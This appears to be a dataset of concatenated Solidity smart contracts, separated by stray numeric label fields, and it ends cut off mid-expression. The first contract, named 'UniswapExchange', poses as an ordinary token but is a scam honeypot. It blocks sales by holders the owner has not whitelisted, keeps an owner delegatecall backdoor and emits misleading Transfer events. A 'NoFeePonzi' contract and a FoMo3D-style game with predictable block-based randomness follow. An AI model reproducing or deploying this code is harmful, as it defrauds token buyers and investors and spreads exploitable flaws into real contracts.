pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,106
contract NoFeePonzi { uint public constant MIN_VALUE = 1 ether; uint public constant MAX_VALUE = 10 ether; uint public constant RET_MUL = 110; uint public constant RET_DIV = 100; struct Payout { address addr; uint yield; } Payout[] public payouts; uint public payoutIndex = 0; uint public payoutTotal = 0; function NoFeePonzi() { } function() { if ((msg.value < MIN_VALUE) || (msg.value > MAX_VALUE)) { throw; } uint entryIndex = payouts.length; payouts.length += 1; payouts[entryIndex].addr = msg.sender; payouts[entryIndex].yield = (msg.value * RET_MUL) / RET_DIV; while (payouts[payoutIndex].yield < this.balance) { payoutTotal += payouts[payoutIndex].yield; payouts[payoutIndex].addr.send(payouts[payoutIndex].yield); payoutIndex += 1; } } }
0
818
pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularLong is F3Devents {} contract DiviesCTR { function deposit() public payable; } contract FoMo3Dlong is modularLong { using SafeMath for *; using NameFilter for string; using F3DKeysCalcLong for uint256; otherFoMo3D private otherF3D_; DiviesCTR constant private Divies = DiviesCTR(0x08283bd008112266568Bceffe13BB6c059Ae7A8A); address constant private FeeAddr = 0xfc256291687150b9dB4502e721a9e6e98fd1FE93; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x26b543a46c55A9d673FC238892fFcbAdad66EBb4); string constant public name = "HoDL4D"; string constant public symbol = "H4D"; uint256 private rndExtra_ = 30 seconds; uint256 private rndGap_ = 3 minutes; uint256 constant private rndInit_ = 3 hours; uint256 constant private rndInc_ = 1 minutes; uint256 constant private rndMax_ = 3 hours; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(56,10); fees_[1] = F3Ddatasets.TeamFee(56,10); fees_[2] = F3Ddatasets.TeamFee(56,10); fees_[3] = F3Ddatasets.TeamFee(56,10); potSplit_[0] = F3Ddatasets.PotSplit(20,20); potSplit_[1] = F3Ddatasets.PotSplit(20,20); potSplit_[2] = F3Ddatasets.PotSplit(20,20); potSplit_[3] = F3Ddatasets.PotSplit(20,20); } modifier isActivated() { require(activated_ == true, "its not ready yet. check ?eta in discord"); _; } modifier isHuman() { require(msg.sender == tx.origin, "sorry humans only - FOR REAL THIS TIME"); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); FeeAddr.transfer(_com); round_[_rID].mask = _ppt.add(round_[_rID].mask); if (_p3d > 0) Divies.deposit.value(_p3d)(); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) 